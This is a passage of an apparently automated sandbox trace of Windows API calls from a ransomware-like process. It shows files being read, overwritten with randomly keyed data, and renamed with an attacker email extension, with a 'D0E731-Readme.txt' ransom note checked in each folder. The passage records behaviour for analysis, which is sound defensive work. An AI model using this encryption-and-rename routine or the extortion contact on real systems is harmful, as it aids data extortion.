(lpFileName="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\d0e731-readme.txt")) returned 0x20 [0166.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4d10) returned 1 [0166.364] RtlExitUserThread (Status=0x1) Thread: id = 1615 os_tid = 0x5b0 [0166.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.365] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.366] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.366] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x976fc7c | out: lpFileSize=0x976fc7c*=81674) returned 1 [0166.366] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13f06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.366] ReadFile (in: hFile=0x528, lpBuffer=0x976fc50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x976fc50*, lpNumberOfBytesRead=0x976fc4c*=0x4, lpOverlapped=0x0) returned 1 [0166.368] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4438 [0166.368] NtQuerySystemTime (in: CurrentTime=0x976fc28 | out: CurrentTime=0x976fc28*=132121213236885857) returned 0x0 [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x6dddb51c [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x10504b86 [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xcb720614 [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xff87c57c [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x396cd1ce [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x4bb3cb38 [0166.368] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x3bb0718d [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xd72ea3cb [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x6c429f52 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xa6af4305 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xe8c6b319 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x49e4a72d [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x80c2f67e [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x93227866 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xfccd8f19 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x9ac18be2 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xd13da852 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xdebe7ee0 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x66c1d90f [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xfba2f41a [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x2a7cb9af [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x9f417dc2 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xd59bd948 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x2020524e [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x5eaa50a7 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xee2b2b00 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xd0eab0c [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x9e20872 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x8f656219 [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xe4eb171e [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0xb3a1b09f [0166.369] RtlRandom (in: Seed=0x976fc34 | out: Seed=0x976fc34) returned 0x4c834ecf [0166.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.379] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4488 [0166.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.380] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.380] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x976fc00, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x976fc00*=0x4096, lpOverlapped=0x0) returned 1 [0166.381] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44b0 [0166.381] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44b0) returned 1 [0166.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.382] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44b0 [0166.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44b0) returned 1 [0166.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.382] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x976fc00, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x976fc00*=0x4096, lpOverlapped=0x0) returned 1 [0166.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.382] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13f0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.382] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x976fc38, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x976fc38*=0x20, lpOverlapped=0x0) returned 1 [0166.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.382] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4488*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4488*, lpNumberOfBytesWritten=0x976fc4c*=0x8, lpOverlapped=0x0) returned 1 [0166.382] WriteFile (in: hFile=0x528, lpBuffer=0x976fc64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x976fc64*, lpNumberOfBytesWritten=0x976fc4c*=0x4, lpOverlapped=0x0) returned 1 [0166.383] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x976fc4c*=0x4, lpOverlapped=0x0) returned 1 [0166.383] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x976fc4c*=0x6c, lpOverlapped=0x0) returned 1 [0166.383] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x976fc4c*=0x20, lpOverlapped=0x0) returned 1 [0166.383] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x976fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x976fc4c*=0x4, lpOverlapped=0x0) returned 1 [0166.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4488) returned 1 [0166.383] CloseHandle (hObject=0x528) returned 1 [0166.383] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.383] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.383] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.383] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.384] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.384] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.384] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1049\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0166.385] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" [0166.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\d0e731-readme.txt")) returned 0x20 [0166.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ca38) returned 1 [0166.385] RtlExitUserThread (Status=0x1) Thread: id = 1616 os_tid = 0x5b8 [0166.386] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.387] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.387] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x97ef7e0 | out: lpFileSize=0x97ef7e0*=3875) returned 1 [0166.387] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xf1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.387] ReadFile (in: hFile=0x528, lpBuffer=0x97ef7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x97ef7b4*, lpNumberOfBytesRead=0x97ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0166.388] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.389] NtQuerySystemTime (in: CurrentTime=0x97ef78c | out: CurrentTime=0x97ef78c*=132121213237042141) returned 0x0 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x6f650ecd [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x2d6fc9a0 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x1f7e47f5 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x3d07743a [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x12cebd77 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xa7544efd [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xfedf360 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x315d7d30 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xd0be1f8f [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xf9ccdebf [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x70e3a80c [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x7e80c000 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xb3b4faea [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x89570de1 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x78c5174f [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x670c65f8 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x63d5656f [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x7db41afc [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x24e32545 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x5ad8f84d [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x1820ba22 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x88ebe17a [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x35a48e1 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x817535c3 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x919242a3 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x683726eb [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xc571f68b [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xefba0e79 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xb6258ae6 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xf51e2218 [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0x79f6e90f [0166.389] RtlRandom (in: Seed=0x97ef798 | out: Seed=0x97ef798) returned 0xcdbd300e [0166.398] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4488 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44b0 [0166.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44d8 [0166.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44d8) returned 1 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.400] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xf23, lpNumberOfBytesRead=0x97ef78c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x97ef78c*=0xf23, lpOverlapped=0x0) returned 1 [0166.400] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x97ef754 | out: lpNewFilePointer=0x0) returned 1 [0166.400] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xf23, lpNumberOfBytesWritten=0x97ef788, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x97ef788*=0xf23, lpOverlapped=0x0) returned 1 [0166.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe44d8 [0166.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44d8) returned 1 [0166.401] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x97ef784, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x97ef784*=0x20, lpOverlapped=0x0) returned 1 [0166.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.401] WriteFile (in: hFile=0x528, lpBuffer=0x2fe44b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2fe44b0*, lpNumberOfBytesWritten=0x97ef7b0*=0x8, lpOverlapped=0x0) returned 1 [0166.401] WriteFile (in: hFile=0x528, lpBuffer=0x97ef7c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x97ef7c8*, lpNumberOfBytesWritten=0x97ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0166.401] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x97ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0166.401] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x97ef7b0*=0x6c, lpOverlapped=0x0) returned 1 [0166.402] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x97ef7b0*=0x20, lpOverlapped=0x0) returned 1 [0166.402] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x97ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x97ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4488) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe44b0) returned 1 [0166.402] CloseHandle (hObject=0x528) returned 1 [0166.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.402] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.402] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.402] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.403] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.403] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.403] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.403] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.403] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1046\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0166.403] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" [0166.403] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\d0e731-readme.txt")) returned 0x20 [0166.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4c78) returned 1 [0166.404] RtlExitUserThread (Status=0x1) Thread: id = 1617 os_tid = 0x5bc [0166.405] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.407] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.407] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.407] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x986fc5c | out: lpFileSize=0x986fc5c*=80930) returned 1 [0166.407] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13c1e, 